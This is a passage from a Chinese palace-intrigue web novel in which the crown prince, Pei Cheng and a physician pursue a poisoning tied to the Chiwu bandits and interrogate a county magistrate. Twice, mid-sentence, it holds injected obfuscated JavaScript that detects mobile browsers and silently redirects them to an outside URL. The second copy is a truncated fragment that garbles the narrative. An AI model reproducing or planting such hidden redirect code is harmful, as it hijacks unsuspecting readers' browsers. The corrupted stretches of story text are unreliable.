李竹芸抿着唇半晌,忽而就跪下,终于诚实道:“求殿下放过我师父吧,他与殿下作对也是被逼无奈。” “孤倒是更好奇,郡主在清心观长大,黄拙又是怎么成了郡主的师父?”李相筠把药碗往旁边一递,邓谦快走两步接在手里。 李竹芸现在为了保师父,不敢不答。 “师父是臣女幼时在清凉山采药遇上的,他见臣女摘了一些相似却有毒的草药,忍不住提醒,一来二去便熟悉了,他不常来清凉山,但是每每来了就会指点臣女一二,后来臣女逐渐对医药有了兴趣,他就成了臣女的师父。” 李相筠道:“他在国子监事务繁重,难得休沐还要跑去那么远的清凉山采药,莫非是山上有什么药只有那处独有?” 长安城外也有不少山,黄拙舍近求远就让人费解。 “这个……臣女也不知。”李竹芸没有想过这个问题,时间过去那么久,她更记得不是很清楚,“或许是有的吧。” “那你今日来见他是因为什么事?”李相筠一个问题接着一个问题盘问,压根不给李竹芸喘口气的时间。 “原本是因为别的事,可是后来清心观的师父们出事了,我……我就……”说着,李竹芸眼睛一酸,想起师父们竟然都惨死,凶手也不知是谁,顿时说不下去,眼泪就啪嗒啪嗒掉到了手背上。 “女冠们的死和你师父有关系?” 李竹芸连连摇头,泣道:“不不,师父他不是滥杀无辜之人,师父本来已经可以自由的,全是因为放心不下臣女才在长安逗留……” 最后,李竹芸又求了起来,“殿下能否放过我师父?师父真的不打算再与殿下作对了,臣女能担保!” “求孤没用,若孤放了黄监丞,他下一刻就该被裴少保抓进大理寺监牢。”李相筠对于女郎哭没有办法,连忙把难题抛给裴承。 李竹芸又用那双红兔子的眼看着裴承,“裴少保……” 裴承温声道:“女冠们的死虽然不是你师父动的手,但是却也与你师父或者说郡主有关系是不是?” 李竹芸抿着唇垂泪,无法坚定地否认。 因为她自己也怀疑着。 裴承让飞星把郡主扶起来,李相筠使唤邓谦找了个马蹄凳给她坐下。 她既然肯交代,李相筠也不吝给她一个好待遇。 李竹芸挨着凳子边忐忑坐下,蠕动了几下唇瓣,脸色苍白比李相筠这个病人都难看。 “实际上……师父留下来正是在研究关娘子身上的病……是臣女……”她有些不敢说下去。 兹事体大,她可怜巴巴地看了看太子又看了看裴承,目光不断来回,却也不知道该信任谁。 谁也无法确保,这番话说出来她会遭遇什么后果。 师父说过,不能告诉任何人。 可是现在不说,师父又要如何脱身?她不能不顾师父的安危。 李相筠没有那么多顾忌,接过她犹犹豫豫的话道:“可是你们知道,关娘子身上不是病,而是毒,天星草之毒。” 幸亏李竹芸是坐着的,要不然现在已经软倒了,她用两只手撑住自己的膝,结结巴巴道:“殿、殿下全知道了?” “孤那日问郡主时已经知道了。” 李竹芸脸更红了,低头讷讷道:“臣女……” 她撒谎骗了太子自己不知情。 “所以黄监丞是在帮郡主研究天星草之毒,郡主觉得这件事与清心观女冠们的死有关系?” “臣女不知道。”李竹芸摇摇头,“但是师父说现在手里还能有天星草毒的人不是泛泛之辈,臣女想会不会是因为我们在查天星草所以……这算个警告?” 李竹芸又不禁低头抽泣起来。 是后悔也是害怕,因为她的无知与莽撞,把祸患带给了身边人。 李相筠看向邓谦。 他们刚决定要去清心观查李竹芸的师父,结果师父们都死了,这难道会是个巧合吗? 若不是巧合,是否有人想引导他们怀疑郡主? “你觉得‘警告’会来自什么人?“裴承插话,也打断了李相筠的思绪。 这次李竹芸思考的时间更长了,犹豫也是谨慎,但是裴承有足够的有耐心,让李竹芸相信自己的秘密会得到妥善的处理,她不用惧怕任何事。 她擦了擦眼泪,小心翼翼说出四个字:“赤乌流寇?” / “我确实知道赤乌流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028384|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寇的事。” 黄拙再一次被带上了镣铐,只是这次他的衣冠整洁,手边还有李竹芸刚泡好的热茶,看起来待遇好了不少。 “当年虽然大胜,但怀贤太子还一直在追查赤乌流寇,那么多的流寇,一夕之间就如水入流沙不见踪迹,怎么不让人觉得蹊跷?” 李相筠伸手烤着火,“所以天星草和赤乌流寇有什么关系?” 听见太子问话,黄拙一副不想回答的样子,干脆半合起眼,还“哼”了声。 “师父,太子不计前嫌救了我一命……”李竹芸不得不拉了拉他的袖子,就怕他表现不好,惹太子生气。 “若非他追着你,你也不会在西市里跑错了路,遇上红贡院的人。”黄拙对太子成见已深,也不是一时半会能改变。 他们就是猫和鼠,猎手与猎物,做不了朋友。 “师父!”李竹芸心急唤道。 裴承开口道:“这个问题我也想知道,你要是知情的话不妨说出来。” “你……”黄拙睁开眼,蹙眉盯着裴承半晌,“你确定?” 裴承似笑非笑看着太子,“倘若今日太子不能满意,你就要落到他手里,到时我也爱莫能助。” 拿她当筏子? 还真会见人说人话,见鬼说鬼话。 李相筠虽然不屑,但是也没有必要拆裴承的台,只是唇角微勾,显得十分倨傲。 就好像她绝对就是裴承口里那个“恶人”。 黄拙把李相筠和裴承各看了眼,这两人的神情耐人寻味,看起来互相不顺眼,偏又好像配合无间。 他又开口:“我现在还无确实证据,不过在关娘子的画里,我看见了赤乌流寇的记号,也许是她知道有关赤乌流寇的秘密,又或者她本身就是其中的一员,想通过这个方法和其他同伴联络。” “后一种说法不可能。”李相筠忍不住道:“关家与赤乌流寇有血海深仇,她想报仇还来不及,怎么可能会是其中一员?” “关家远在几千里外,有没有血海深仇都难说,只凭关家兄妹的说辞?殿下有时候也挺天真的。”黄拙不遗余力地用神情鄙视李相筠。 李相筠想生气,但是细想黄监丞的话也有一定的道理,万一是他们一开始就想错了。 关家若与赤乌流寇关系匪浅呢? “那关娘子为何中了天星草毒却没有死,反而失忆了,就连她自己画的赤乌流寇记号都不记得。” “天星草毒并非剧毒,且有很多症状因人而异,但是共同的有几点,高烧难退、四肢虚软、星状红痕、失魂丧智——俗话说就是丧失记忆。” “一个月到……几个月不等。”说着,黄拙目光一转,好像有什么话想冲着太子说,但最后还是忍住不提,只把眼神挪开。 李相筠蓦然想起自己曾中天星草毒的事。 那时候黄拙在哪?和皇兄认识吗? 会不会,他很早就研究过了天星草毒…… 不过裴承还在这里,李相筠不愿意让更多的人知道她中过天星草毒的事情,只能按下不谈,就听黄拙继续道: “所以失忆也是正常,至于她为什么会中毒,我想除了下毒者和她本身之外,具体原因很难猜出。” “也就是说,倘若她能够恢复记忆,这个问题就能解开了?” “也可能解开,也可能变得更复杂。”黄拙还没有放弃关娘子是赤乌流寇一员的看法。 “那你有办法能够让关娘子恢复记忆?” “有也没有。” 李相筠:“?” “因为有方子但没有药材。” 李相筠皱眉:“你缺什么药?” 黄拙道:“天星草。” 李相筠不禁道:“你这样也敢说有办法?” 即便她是太子,但没有通天之能,要她去哪里给他弄这该死的天星草? 他说这话无疑是丢了个钩子上面没带饵。 “能有方子已经不错了,殿下如此挑剔,何不自己想法子?”黄拙不甘示弱。 两人都跟炮仗一样脾气上来,要对着干,李竹芸连忙出来打圆场,一边道:“师父您别这样。” 又对太子说:“殿下,其实还是有办法的,臣女和师父最近在研究与天星草药性相近的药草,比如白甘草、紫皮花……只是炮制的方法需要调整,能将其药性一部分接近天星草根茎。” 一直旁听的裴承冷不丁插嘴,“白甘草,泊州羊集县盛产。” 李相筠差点都忘记还有他这号人,“你怎么知道?” “关侍郎上回跟薛县令说起过。”裴承回道:“旁边听见了一嘴。” “关侍郎?他要白甘草做什么?” “自然是宫里要的,关侍郎主要为圣火教供给药材炼制圣人要的丹药。”裴承道:“长安附近的药铺已经消耗殆尽,所以他们不得不往外面寻。” 李相筠皱了下眉头,近来圣火教对药草的需求量大到可怕,可偏偏他们拿着圣旨,叫人没有办法。 她管不了那么宽,遂道:“那就是说,从羊集县可以得到白甘草,只要有白甘草,关娘子可能能够恢复记忆。” “尽力一试。”李竹芸点头道。 方子这边有了,李相筠又盯着裴承,还没开口,就被裴承打断了话。 “只是关侍郎也没有办法拿到药,因为薛县令坚持不说藏药的地方。” “那好,孤要见薛县令。” 裴承道:“薛县令是要犯,殿下有何名目见她?” 又搬出大理寺办案的条条框框? 李相筠一指李竹芸,“你不让孤见,孤就告发郡主与逃犯黄拙勾结。” 黄拙一听就站起来怒道:“狗太子!欺负弱小算什么!” 他现在最怕的就是因为自己的事牵连郡主。 李竹芸也没想到不久前还拿命保护自己的太子翻脸就不认人了,彻底呆了。 裴承唇边扯出抹没有温度的笑:“殿下还真是不择手段。” “裴少保要拿规矩办事,孤也按规矩办事,怎么就被说是不择手段了?” 李相筠漫不经心地瞥了眼,好像压根不介意自己坏。 她还想自己坏得更彻底些呢! 31.开战 巡卒刚走,薛二娘就打算睡下了。 牢狱中昏黑,难辨日夜,让犯人在里面日夜颠倒,从而精神崩溃,方便招供,是狱卒驯服犯人一贯的做法。 薛二娘不愿被人牵着鼻子走,强迫自己保持正常的作息。 她用手拍打了一圈稻草堆,赶走里面躲藏的老鼠和虫子,裹好并不厚实的囚衣,躺了下来。 “起来!”这时去而复返的狱卒粗暴地一踢铁栏,门上沉重的锁链哗啦作响,把她惊开了眼。 “上官提审。” 薛二娘被带到一间审讯房,里面温度陡升,她的后背立刻炸开了汗星子。 环顾脚边,几个火盆正烧得旺盛,里边一点黑烟也没有。 “薛县令?” 上面传来一道声音,清越但是陌生,薛二娘抬头看见两张迥然不同却各有千秋的俊脸。 巧得是两人她都“认得”。 是大理寺卿和……他? 几日前,她曾在中庭见过一面,大理寺吏对其奴颜婢色,恭敬有加,说明此人身份不低。 果然,现在主位上坐着的是他,大理寺卿反而都要坐在一旁。 “下官在。”薛二娘站着不跪,只做了一个揖礼。 一般涉事犯官被提审都应该自称“罪官”,然后跪着听审。 这个薛二娘非但不跪,还自称下官。 李相筠没有责备,开口道:“孤乃东宫太子,现有事相问,不可有半点虚假及隐瞒。” 薛二娘露出一抹诧异,很快又收敛起来,声音沉稳道:“下官不敢欺瞒太子殿下。” 李相筠打量她。 据查,这个薛娘子是两年前才由吏部调派至羊集县,她兄长天生体弱,三天两头病倒,就连考试都无法正常参与,薛家不愿失去一个光宗耀祖、提拔门户的机会,便让学识才能不逊于他的二娘女扮男装顶替,不但成功考上进士,还被派往羊集县赴任。 这个薛二娘在短短时间里居然能够把自己女儿家的习惯收敛起来,成功扮作男子不被人看破。 性格沉稳又才智出众,抛开她女儿家的身份,她这县令当得让人心服口服。 可为什么一定要抛开她女子的身份呢? 她并未因为是女子而不如人,可偏偏世人根深蒂固的观念是绝不会让女子揽得大权。 那大理寺吏说过,女官有自己的去处,那是六局二十四司,管理服章宝藏、帷帐床褥、礼仪教学,没有一样能与国事政策挂上钩。 薛二娘没有办法,李相筠也没有办法。 她们虽然都各有建树,却从来算不上堂堂正正。 “关侍郎要收草药,你为何拒不肯告知,还煽动药农抵抗官兵,你不知,这是重罪?”李相筠问。 “容下官禀明,”薛二娘拱手,“羊集县多山岭,可供开垦的良田极少,所以县民基本靠种植药草,卖给药商换取薄利,应对春秋两季的征税,勉强维系生计。然侍郎以低于市价的官价强收药材,药农收入大大减小不说,侍郎还要求挖出白甘草根茎,这是竭池而渔,所以下官绝不可答应!” 虽然是重罪,但是薛二娘还是斩钉截铁道了句“绝不答应”。 “薛县令胆识魄力过人。” 第一眼李相筠就觉得这位薛县令不一般,现在短短交流过几句,更让她心生佩服。 不过是区区县令,就敢与朝廷抗争,为药农争利。 而且她不是不肯拿出草药,而是在等着机会获得更大的让步。 她并不是莽撞而不知进退的人。 “羊集县能有你这位县令,算是他们之福。”李相筠说了句公道话。 薛迟英道:“羊集县的困顿只是天下人疾苦的一隅,下官的能力有限,还望殿下能够体谅天下黎民,成为天下之福。” 李相筠沉默片刻,才道:“孤救不了那么多人,但是薛县令,若你配合,孤还是能救的了你。” 裴承慢悠悠开口:“臣还在这里,殿下不要信口开河。”他可没答应放薛二娘走。 李相筠道:“薛县令的罪在于弑兄,在于以假身份入官,只要这两宗定不了罪,有何不能的?” 虽然女官多在六局二十四司,可在陈后的倡导下,女子科考正在筹备,将来女子入朝与男官分庭抗礼兴许也不是不可能。 她赏识薛县令的能力,想要保下她不难,只是她也清楚,薛县令这样正直的人是很难为她所用的。 薛迟英抬起头,“殿下信我没有弑兄?” “薛县令以百姓疾苦为重,断不会以弑兄这样极端的法子让自己留下把柄,锒铛入狱。” 若薛娘子真的杀了兄长,她还能这样镇定地站在这里,那心理素质绝非一般。 不过李相筠相信她有这样的能力,是绝不会把事情弄成这样被动。 裴承忽然问:“那殿下觉得什么样的人才会弑兄?” 这个问题相当敏感。 论起来,当今圣人也是弑兄上位,因为前头那位抢了安宗皇帝指任的皇五子称帝,本就得位不正,况且在位两年间劳民伤财,早失民心。 李相筠不是愣头青,不会轻易落下把柄,遂道:“若有罪,该杀则杀,不论什么人。” 裴承笑了起来,道:“殿下此言置律法于何地?” 李相筠也笑:“裴少保若是只讲律法不讲人情世故,那不是早该把孤抓进大牢了吗?” 裴承半是玩笑半是认真:“臣倒是想。” / 更鼓三百下已经敲完,夜已深,但是皇城之中还是灯火通明。 圣人自正元九年起,逐渐不问朝事,但好在他放权给底下臣子,延用辉宗皇帝设立下的那一套制度,维持表面运转正常不成问题。 裴承站在风中,听周边虫鸣鸟叫,也听两个侍卫在身后窃窃私语。 “太子答应薛县令要为她洗清冤屈,还要关侍郎提高收购价格,这是起了惜才之心啊!太子殿下其实人也不是很坏,只是对我们家主特别坏。” “……” “飞雨你怎么不说话,我知道!默认对吧?……” 飞雨紧闭嘴巴,往旁边迈开一步,但飞星丝毫没有眼力见,碎步跟过去又长长叹了口气,“不过幸亏太子对我们没有好脸色,不然将来我可下不了手,要不还是你动手吧,反正你心狠手辣的……” 裴承眉头动了动,垂眸看手心里的纸条。 有脚步声传来,他回首望向台阶上,裹成鹌鹑样的太子正不甘不愿抬脚迈进寒风里,说话的同时,下巴尖都塞进狐裘里。 “裴少保与关侍郎所谈如何?” “自是如殿下所愿,关侍郎答应殿下的要求。” 李相筠眼睛弯了弯,对这个答复心满意足。 关侍郎为了药草的事,已经请旨要往泊州一趟,她便动了心思,借此机会跟去泊州,一来是为薛二娘的案子,二来泊州不但关家的老家,还是赤乌流寇曾盘踞过一段时间的据点,兴许在那里还能找到一些线索。 天星草、赤乌流寇隐隐已经连成了一条线,她想要找的罪魁祸首,兴许就在线的另一端。 现在只要她抓住一头,轻轻一拽,这条绳上的蚂蚱都会蠢蠢欲动,进入她的视线。 裴承看着太子一步步走下阶梯,“不过臣有异议,殿下暂无执法之权,犯官应由大理寺权押送。” “哦?”太子侧眼望来,眸光沉沉,“看来裴少保是想跟着孤一道?” 裴承在身后捏紧纸条,笑道:“职责所在,望殿下不要推却。” 风吹动他的衣摆,连带着小纸条也轻轻摇摆,一个墨迹才干的卫字,若隐若现。 / “太子要去泊州?他去那做什么?” “臣听闻,是与薛二娘有关。” “薛二娘就是那位泊州来的县令?”陈皇后推开陆女官送到手边的茶不用,坐直了身。 她四十余岁,保养得当,容貌说不上极美,但大气端庄,发间鬓角上的首饰都很朴素,并不奢华,与寻常妇人差不多,谁能想到这位就是宠贯后宫二十多年,深得圣人信赖倚重的平民皇后。 “我也听说过她,是个难得的人才。” 陆展道:“薛县令治下的泊州风调雨顺,百姓安居乐业,家家户户夜不闭户、路不拾遗。” “泊州啊……曾经被赤乌流寇弄得横尸遍野,犹如人间炼狱般,”陈皇后眉间轻蹙,追思以往并不美好,“现如今好起来了,我也欣慰了。” 陆展这才想起,泊州是皇后的祖籍,也是陆姨母和他娘的故土,他不由望向一旁的陆女官。 陆女官接过话道: “当年娘娘与臣等离开泊州的时候,那里还满目疮痍,百姓流离失所。这么多年过去泊州一直还在动荡当中,如今重修秩序,百姓们收成也好,这位薛县令也功不可没。” “不错,她只是没有生作男儿身,不过这不是恰恰更可贵了吗?女子未必不如男子……”陈皇后感慨了声,又回头问陆展:“昭云还从未去过泊州吧,这次不如跟着太子,一起带着你母亲回去,你母亲最是想念金银山上那一颗桂花树,总说那处好安眠。” 陆展行叉手礼,道:“谢娘娘大恩!” 陆女官一路送着陆展从皇后宫中出来,也是为了和外甥多说两句话。 “太子这次去泊州除了薛县令的事情,可还有别的目的?” 陆展低头,不知该如何回答。 陆女官看了他一眼,叹了声:“你要帮太子瞒着,可是这风吹草低头,站在高处的人,一览无遗,什么也藏不住。” “姨母……” “听姨母劝,不要让太子再查赤乌流寇的事了,姨母是为了你好。” / 金宝在西市坊门口迎接李相筠。 “红贡院那边的头儿知道上回的事后甚是惶恐,要给七郎您赔罪,我也知道七郎大冷天的不愿意出门,可是这多个朋友总是好的。” “给了你多少好处,这么卖命说话。” 金宝嘿嘿两声,比划了个手势,乖顺道:“老规矩,七郎八成,我拿两成就行。” 李相筠哼了声,从马车上下来。 大冷天她的确不爱出门,但是这一趟却不得不来。 红贡院说小了只是个奴隶贩子,但是它背后还有盈国。 大黎花了大代价让盈国老实待着,不扰民,不闹事,她是储君,自然要拿出点友好的态度,不能让这件事…… “七郎,待会您什么也不用说,我来说,您坐着喝茶就可以了。”金宝一步步紧随,恪尽职守地当好左右和稀泥的中间人。 李相筠边嗯声,边把手炉往后面递,金宝接下手炉,又接下太子的大氅,眼见一向怕冷的太子居然轻装上阵,满眼狐疑地跟了进去。 一刻钟后,李相筠拿着劈开毛刺的桌子腿,指在那贼眉鼠眼的头儿眼珠子前,嗓音每温柔一分,那眼神便凶煞一分,“在长安,若让我再知道你们对大黎人下手,我能叫你们全部滚蛋,懂么?” 鼻青脸肿的头儿被勒着脖颈,说不出话,只能猛点脑袋。 “手炉。” 站在远处发抖的金宝才连忙把手炉送还给李相筠。 “还是暖和的时候,手脚灵活。”李相筠把发凉的手背贴在手炉顶上暖和,抬脚跨过躺地上捂脸嗷嗷叫的打手,径直往外,金宝抱紧大氅,环顾了一圈屋内惨烈的状况,缩起脖子,一言不发小跑跟上。 走出好远,金宝才开始委屈:“七郎你这样叫我还怎么在西市待……他们一定会弄死我的。” “多请侍卫少出门。”李相筠没有半点同情,“对了,最近别来找我,我要出一趟远门。” “啊七郎你要去哪?”金宝心都提到嗓子眼了。 李相筠一走,这些人岂不是更会趁机报复他。 李相筠看见不远处几道熟悉的身影,抬手让金宝闭嘴。 “郡主怎么在这儿给人看病啊,不会吧,赵郡王府苛待人,都不给月钱花销吗?” “郭郎君,休要胡言,郡主行医并不收诊钱。”关娘子为郡主说话,但没人听进去了,还在那儿取笑。 “郡主为何不跟我们说话?莫非是不好意思?” 一名蓝衣郎君最是夸张,扮作一副痛心疾首的样子拍着脑袋,道:“要是我撞见自己妹妹在外面做这样三姑六婆的事,我都不知道该怎么跟她说话了,你们说是不是?” 旁边的郎君起哄,笑声四起。 就连坐在桌前的病患都不由自主地在这笑闹声中站起身,躲到一边去。 他虽然贫穷,但也知道药婆是底层,只能治疗女子隐疾,是不能见人的。 “哎呦!哎呦!” 忽然蓝衣郎君的后领被人猛地扯住,衣襟往后勒住他的咽喉,他不由往后趔趄了两步,一只手又按在他的肩头,大力把他面朝下惯压在桌上。 “咄”了声,一把刀狠狠钉入木桌。 郎君瞪大眼睛,视线里那雪寒的薄刃扎穿他的手背,鲜血汩汩往外冒,他的心尖狂颤,张开嘴却发不出惨叫。 这时桌面上又坐下个人,长指还悠哉悠哉拨了拨刀柄,让薄刃左右晃动起来。 “好了,现在你可以想一想,怎么说话,才能求神医给你疗伤了?” “七郎君!” 但见桌上那人身着瑞锦暗纹圆领袍,颜色和脸上飞溅的几滴血一样,他的那副好模样,配上这几滴血真是又冷又艳,让人不敢直视。 他挑起半边眉,环顾一圈,对其他几个吓傻了的郎君,冷嗤了声:“诸位,还不挪脚,都等着学怎么讲话吗?” 嚯,太子心情不好,谁撞上谁倒霉! 众人听到能走,如蒙大赦,立刻一轰而散。 “郡主、郡主救我……” “就这么干巴巴的,是求人的样子吗?” 李相筠又在那儿拨弄自己的刀,薄刃颤巍巍晃,那郎君的眼泪哗啦啦流。 “求郡主、郡主、神医您行行好,救救我救救我!” “端起碗吃饭,放下碗骂娘,女子做医碍着你了?少看不起人!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你以为我想呐。”高勇拿开砚台,将砸开的核桃捧在手心吹了吹浮壳,把肉往嘴里捡,“这还不是圣人发了话,你是没瞧见太子刚那两只眼睛差点没把我瞪了个对穿,我两条腿都在打抖,就想掉头回家!” 金宝计算了一下这么多人,光吃饭都不是个小数目,心痛得要命。 红贡院那件事与他有什么干系啊? 他不过是被邓谦抓了去找太子,怎么就人财两失了呢? 另一辆马车里坐着郡主李竹芸与关娘子。 关娘子望着窗外不断晃过的风景,近乡情怯,不禁道:“我十三岁离开家乡,已经有十五年没有回去过了,都记不清故土的风情地貌,就连阿耶阿娘的面目都模糊不清,午夜梦回只有几道影子依稀立在家中院子里,静静望着我。” 李竹芸道:“关娘子画工这么好,当年没有想过留下亲人的画像吗?” 关娘子垂首捏着帕子,“当年家中发生变故,只剩下兄长与我苟活,我们相依为命,在群山之中跋涉了几天几夜才逃了出来,后来我大病了一场,很多事情就记不清楚了。” 那时候她就不太记得亲人的长相。 “我在医书上看过,人在受重大刺激之下,会导致失魂症,有些人十年二十年或许会慢慢康复,有的终身也不会好。” “那与我……” 李竹芸压低声音,“这与用毒导致的失忆不同,如果对症,关娘子的记忆也能找回来。” “……我有些担心。” 李竹芸握住她的手,“不要怕,我会陪在你身边。” 关娘子勉强一笑,慢慢回握住郡主的手。 这件事瞒着兄长既是害怕他担心,也是害怕他…… 但是她也不知道,真相对她究竟是不是好事。 薛二娘单独坐在一辆小马车里,她望着窗外萧瑟的秋景,心里还想着泊州的百姓如何度过秋税这一关。 车队里既有朝廷派的、东宫执金卫、裴家侍卫、赵郡王府侍卫以及金家侍卫,各路人马皆有,快慢耐力都需要磨合。 前几日都走走停停,没能赶多少路。 第五日才勉强行了八十里路赶到驿站歇息。 除了官员及女眷,其余随行的侍卫家丁统一在驿站旁边的空地上搭帐篷凑合一晚。 关侍郎与薛二娘在大堂里坐着聊了许久,他还是希望在到达泊州前,尽可能摸清当地的情况,方便行事。 李相筠早早用完饭就上楼歇着,没精力和他们在下面闲聊。 若非天气冷,她真的宁可骑一整天马,也不想在马车里颠得骨头疼。 而且似乎离长安越远,她越感觉水土不服,总不知道身体是哪里不对劲,有一种说不上来的混乱在心中。 随着夜深,外面嘈杂的声音逐渐变小,李相筠吩咐邓谦过了午时就不用守了,自己下去休息,不要影响第二天的赶路。 飞星刚收起裴承的密信出来,就与邓谦一同下楼。 “邓统领还要去巡逻,辛苦啦!” “飞侍卫不是也有事要忙,也辛苦了。” “嗐,族中的事,怎么说越往西南走,离裴家的地盘越近,到时候可要给机会让我好好招待邓统领啊!” 邓谦手不离刀,唇角扬笑,“先谢过了。” 此处西行驿站三年前刚休整过,家具还较新,小飞上蹿下跳巡视了一圈,选了一处床勾架上趴着。 裴承宽下外衣,准备熄灯休息,门外有陌生的脚步声,停在了他的房门前。 不是飞星。 裴承放下烛台。 门“吱呀”声被打开,那人进来时还被门槛绊了下,差点把屏风扑倒,他扶住屏风原地呆了片刻,又抬脚绕了进来。 “殿下?” 光亮下,裴承见着一步步大大方方走进来的李相筠,“这么晚不睡,连臣的房间也要检查?……嗯?” 目光从上扫到下,李相筠乌发披散在身后,衣裳都是穿得齐整厚实,可他没穿鞋,居然赤着脚,一步步走来。 难怪脚步声听着陌生。 裴承再抬起头,对上李相筠的眼睛,耐心问道:“殿下要什么?” 李相筠一声不吭立在他面前,浓密眼睫低垂,那双半睁半合的眼像是没了魂。 裴承一时没弄清太子是什么情况,坐着不动应万变,哪知李相筠忽地走近,伸手揪住他的衣襟,猛地往上提,那咬牙切齿用力的样子,看起来是想把他揪起来。 可力量不够,未能如愿,就傻愣愣地僵在原地。 这画面有些好笑,裴承也笑出了声。 但这一笑,像惹恼了太子。 他松开衣襟,膝盖咚得声跪上床沿,就插.在裴承两腿之间。 这样一个进犯的动作让裴承立刻收住了笑。 他岔开腿,身子后仰,两手撑在身侧,眼睛往下看了眼李相筠的膝,扬脸沉眉,两眼危险地微眯,声音也低了下来, “殿下不觉得再往前,就是开战的意思吗?” 32.换床 李相筠也不知道听没听见,又或者听见了还要挑衅,冷不丁朝他又伸出两只手。 裴承往后躲开,大手从左扫到右,把李相筠两只手腕都扣住了。 李相筠挣了挣,没有效果,立刻将两手前推,膝抬高往前顶住裴承的腹,还把身体重心一股脑倒来。 李相筠这点重量,裴承虽然没有放在眼里,但是那膝盖实在不知轻重,沿着他的腹.沟直往要害而坠。 裴承腾手去挡他滑下来的膝盖,再没有多一只手撑住两人的身体,只能被他压住往后倒。 李相筠的右膝被推开,从裴承的腹肌横滑到一旁,又咚得声跪在床上,前扑的同时还知道用手撑住自己。 裴承沉沉呼出口气,往右看自己的肩头多出来的两只紧攥的手,往前看是半阖眼皮,抿唇不出声的太子。 这是醉了? 但是他没有嗅到一丝酒气。 太子的长发如缎子一样从肩滑下,落到他的脸侧,清浅平缓的呼吸拂过他的鼻尖,就好像他虽然撑在这,但是人还在睡梦当中。 这是……还没醒? 太子撑了一会,就往左边倒了下去,两只手一还横在他的胸口,一只腿也压在他腿上。 裴承数到五下,李相筠一动不动,他扭头去看,发现他连剩下半条眼缝都合上了。 ——真睡了。 小飞倒挂在床架上,好奇打量下面交叠的两人,不时发出愉悦的吱吱声。 太子不是来和他打架,而是来睡觉的。 裴承神色复杂。 睡着的李相筠绝对比醒着的李相筠乖顺,秀气精致的眉毛不再盛气凌人地挑着,浓长而翘的睫毛也不会不屑地耷着,含光水润的眼睛不会不怀好意地瞥着,那两瓣浅粉的唇更不会吐出让人不快的话语。 裴承伸手捏住了太子的下巴,拇指下意识擦过那两片唇,这动作想过数百遍,头一回做,竟意外熟手。 但指腹下柔软的触感令他久久怔住。 须臾后,他鬼使神差抬起视线,好巧不巧就对上太子睁得圆圆的眼睛。 那眼睛底下印着光,亮晃晃的,就好像猫抓老鼠前那一刻精光四射。 裴承头一次在李相筠的视线下,后背渗出了冷汗。 李相筠目光牢牢盯着他,轻抿了下唇,察觉到了异样,视线向下看。 “我……”裴承松开手指,解释的话没说出口。 李相筠抬脚踩住他胯骨猛得往下一蹬,这一脚好比兔子回身飞踢用力踹到狼脸上,又快又狠,裴承就这么下了床,滑坐在脚踏上。 床榻上窸窣一阵,太子自顾自裹好被子,面朝里面缩成了一条虫,不多会,均匀绵长的呼吸声传来。 裴承坐了片刻,小飞跳到他的肩头。 一人一鼬这般静静看着鸠占鹊巢的太子睡得香甜。 “不许告诉任何人。” “吱~” 翌日,李相筠还没睁开眼就听见邓谦的声音。 “你胡说什么,殿下怎么会三更半夜与你换房,是不是你做了什么?太子人呢?” “我说的就是事实,邓统领不如去隔壁看一眼就知道了,太子殿下睡得好好的,我可没有动他一根毫毛。” 李相筠皱了皱眉头,很不想醒来,把脑袋往被子里又埋了埋。 一大早的就这么吵,他们可真有精神。 “殿下!” 门被拍得嗙嗙响,是陆展的声音。 李相筠不情不愿回了声:“我在!” 外面顿时死一样的安静。 片刻后只有裴承的声音传来,“我说的可有错?” 李相筠在床上闷声睡了一会,忽然意识到他们的谈话是什么意思,把被子往下一拽,眼睛环顾左右。 这不是她的房间! 她猛地坐起身,先看自己胸口。 因为出门在外加上天气寒冷,所以她刻意穿了件厚实的寝衣,腰带都打几了结。 现在衣服在,结在,一切正常。 不,也不正常。 她见鬼了怎么在这? “殿下?” 陆展又在外面敲门。 李相筠扔开被子,走去开门,其实门没有拴上,一打就开,她先看着陆展,又往旁边看见邓谦和裴承。 “殿下昨夜非要与臣换房间,殿下还记得吗?”裴承问道。 李相筠不记得。 她晚上不睡跑过来和裴承换房间?她疯了不成。 但若裴承说假话,大半夜把她从房间捞出来放自己床上睡觉,这有什么意义? 两个可能她都想不明白,只能神色镇定地从中穿过,往自己屋里去。 “晚些说,孤要洗漱了,等会就出发。” 邓谦目光游走在太子和裴承身上,没多说一个字,跟上太子离开。 李相筠收拾完出来,在楼梯口见到外边小平台上飞星、金宝、高勇三个人团团蹲着,不知道在做什么。 高勇问:“这是抱在一起了?” 金宝:“不可能吧,是打架!绝对是打架!” 飞星:“什么呀,大半夜太子找我们家主打架?” “吱吱吱!” “你看这根树枝长,代表的肯定是裴少保,小飞搂着树枝躺着,这不就是抱住了吗!”高勇拿笔指了指,痛心疾首道:“世风日下啊!没想到太子他竟然……我要记下来……” 说罢,高勇兴奋地翻开本子,哗啦啦找到逸文那一类,洋洋洒洒落笔。 “那……这又什么意思?把树枝踢飞了?”金宝抬起屁股,努力从胯.下往后看,小树枝刚从下面飞了出去。 他努力瞅了半天没有看见树枝,反而看见一只乌头靴,正一敲一敲打着地。 飞星第一个站起来,“太子!” “哎呦!”金宝一个屁股墩坐到了地上,高勇啪嗒一下把本子合起来,两只手齐齐背到身后。 李相筠环着手,把他们挨个看了圈,“在这里编排什么呢?” 飞星一手指着地上的小飞,“就是它!非要表演太子和家主昨晚的事……” “吱?”小飞一甩两只耳朵,扭头去看飞星,眼睛都快瞪出来了。 李相筠气得冒烟,严令他们不许乱说,俯身一把抡起小飞,抓在手里,扬长而去。 “臣昨夜?” 